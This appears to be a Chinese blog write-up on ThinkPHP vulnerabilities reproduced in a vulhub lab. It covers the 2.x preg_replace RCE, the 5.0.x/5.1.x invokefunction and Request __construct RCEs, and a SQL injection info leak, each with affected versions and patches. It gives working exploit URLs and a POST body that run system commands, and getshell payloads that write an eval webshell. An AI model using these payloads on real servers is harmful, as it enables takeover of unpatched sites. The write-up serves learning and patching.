ThinkPHP漏洞总结

  • 简介
  • 版本
    • Thinkphp 2.x 任意代码执行漏洞
      • 漏洞原理
      • 复现过程
      • 修复意见
    • Thinkphp5-5.0.22/5.1.29远程执行代码漏洞
      • 漏洞原理
      • 影响范围
      • 复现过程
      • 修复意见
    • Thinkphp5.0.23远程代码执行漏洞
      • 漏洞原理
      • 影响范围
      • 复现过程
      • 修复意见
    • Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞
      • 漏洞原理
      • 影响范围
      • 复现过程
      • 修复意见

简介

  ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
  ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

版本

Thinkphp 2.x 任意代码执行漏洞

漏洞原理

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

explode函数是把通过/把url参数拆开,然后再用implode函数通过\/拼接起来,然后带入preg_replace函数里面。preg_replace函数的/e模式,和php双引号都能能解析变量,代码执行。

正则表达式:'@(\w+)'.\$depr.'([^'.$depr.'\/]+)@e'
简化后是
正则表达式是:/(\w+)\/([^\/\/]+)/e\w+表示匹配任意长的`[字母数字下划线]`字符串,然后匹配 `/ `符号,再匹配除了` / `符号以外的字符,匹配连续的两个参数。$var[\'\\1\']="\\2";
\\1是取匹配正则的字符串的第一个匹配结果,\\2是取第二个匹配结果。
一个被当成键名,一个被当成键值,传进了var数组里面。

举例说明:

URL:www.baidu.com/index.php?s=1/2/3/4
每次匹配1和2 、 3和4 、 5和6。
然后,也就是\\1 取的是 1 3 5,\\2 取的是 2 4 6。
那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。而双引号是存在在 \2 外面的,那么就说明我们要控制的是偶数位的参数。

复现过程

环境:vulhub

docker-compose up //一键启动


访问环境:

POC:http://192.168.255.128:8080/index.php?s=1/2/3/${phpinfo()}

getshell payload: http://192.168.255.128:8080/index.php?s=1/2/3/${@print(eval($_POST[1]))}

上蚁剑:

修复意见

1、下载官方补丁
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
2、修改/ThinkPHP/Lib/Core/Dispatcher.class.php文件
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行;

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var[\'\\1\']='\\2';', implode($depr,$paths));

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞原理

ThinkPHP版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
详细分析:ThinkPHP5 远程代码执行漏洞分析

影响范围

ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31

复现过程

环境:vulhub

访问地址:

POC:
http://192.168.255.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

任意代码执行:http://192.168.255.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

getshell:http://192.168.255.128:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php eval($_POST[1]);?>


上蚁剑:

修复意见

1、将版本升至5.0.23及以上;5.1.31及以上。

5.0版本在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);
}

5.1版本在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);
}

Thinkphp5.0.23远程代码执行漏洞

漏洞原理

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响范围

Thinkphp 5.0.0~ 5.0.23

复现过程

环境:vulhub

访问地址:

POC:

POST /index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

Burp抓包,改包。


修复意见

1、升级代码到最新版本5.0.24及以上;

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响范围

ThinkPHP < 5.1.23

复现过程

环境:vulhub

访问地址,环境成功运行:

POC:http://192.168.255.128:8080/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

修复意见

1、在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号。
2、升级版本至最新。

ThinkPHP漏洞总结复现相关推荐

  1. thinkphp漏洞复现

    所有文章,仅供安全研究与学习之用,后果自负! thinkphp漏洞 前言 一.thinkphp-2x-rce 代码执行 0x01 漏洞描述 0x02 影响版本 0x03 漏洞利用 0x04 漏洞修复 ...

  2. ThinkPHP漏洞总结(利用)

    ThinkPHP介绍 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从S ...

  3. tomcat ajp协议安全限制绕过漏洞_Apache Tomcat文件包含漏洞(CVE20201938)复现

    一.漏洞背景2020年02月20日,国家信息安全漏洞共享平台(CNVD)发布了关于Apache Tomcat文件包含漏洞(CVE-2020-1938/CNVD-2020-10487)的安全公告.Tom ...

  4. nginx解析漏洞简单复现及修复

    Nginx简介 Nginx是一款轻量级的web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,其特点是占内存小.并发能力强:国内使用Nginx的有百度.京东.新浪.网易.腾讯.淘宝等 ...

  5. Apache Struts2远程代码执行漏洞(S2-019)复现

    动态方法调用是一种已知会施加可 Apache Struts2远程代码执行漏洞(S2-019)复现能的安全漏洞的机制,但到目前为止,它默认启用,警告用户应尽可能将其关闭. S2-019的poc,是deb ...

  6. php %3c0x1a%3e是什么_利用ThinkPHP漏洞扫描攻击

    利用ThinkPHP漏洞扫描攻击 115.238.244.112   119.3.90.139    94.191.10.105 POST /index.php/?s=captcha HTTP/1.1 ...

  7. MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543复现

    MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543复现 一.简介 MessageSolution企业邮件归档管理系统 EEA是北京易讯思达科技开发有限公司 ...

  8. Heartbleed漏洞的复现与利用

    一.      1.Heartbleed漏洞是什么 Openssl在处理心跳包的时候检测漏洞,没有检测payload与实际的数据字段是否匹配,造成最大64KB的内存泄漏 2.基本背景和影响 OpenS ...

  9. Ubuntu内核提权(CVE-2017-16995)漏洞的复现脏牛漏洞

    Ubuntu内核提权漏洞的复现 这里先介绍一下漏洞,Ubuntu是一个以桌面应用为主的开源GNU/Linux操作系统,基于Debian GNU/Linux .近期有白帽子爆出 ubuntu 的最新版本 ...

最新文章

  1. 艾麦捷科技-铂金小猪新年致辞
  2. oracle导入到mysql命令_oracle数据库导入导出命令
  3. java servlet post_Java中Servlet Post和Get乱码
  4. Bitmap的使用(三)
  5. strcpy和memcpy的区别 | strcpy和strncpy的区别
  6. L2-005 集合相似度-PAT团体程序设计天梯赛GPLT
  7. 如何判断PeopleEditor的值为空
  8. Swift语言快速入门
  9. 利用Python制作王者荣耀出装小助手,引来了老板的注意!
  10. “对技术没有好奇心”真的是很失败的一件事情
  11. JavaScript: 取得 function 的所有参数名
  12. 正则表达式贪婪与非贪婪模式
  13. 用php web编程作业,用PHP进行Web编程.ppt
  14. AI开发者十问:10分钟了解AI开发的基本过程
  15. icd植入是大手术吗_母狗绝育是大手术吗?手术完需要住院吗?绝育后是不是会变胖?...
  16. AndroidTelephony学习大纲
  17. deepin和UOS sunpinyin 皮肤添加
  18. itchat使用教程
  19. 个人博客网站添加文章搜索功能
  20. 连续分配存储管理,覆盖交换和存储碎片

热门文章

  1. Linux进程:父子进程
  2. getOrDefault()方法
  3. 人生导师——如何学习C++的Windows方向
  4. matlab批量导入文件
  5. 暗流涌动,为何​数据科学家迫不及待地辞职、换工作?
  6. Unity zSpace开发记录
  7. MotionBERT:Unified Pretraining for Human Motion Analysis中文翻译
  8. 打工人防加班办公技巧合集(第3期)
  9. yjv是电缆还是电线_YJVR电缆是什么,它与YJV电缆有什么不同
  10. Cortana小娜:竟然还能发微信朋友圈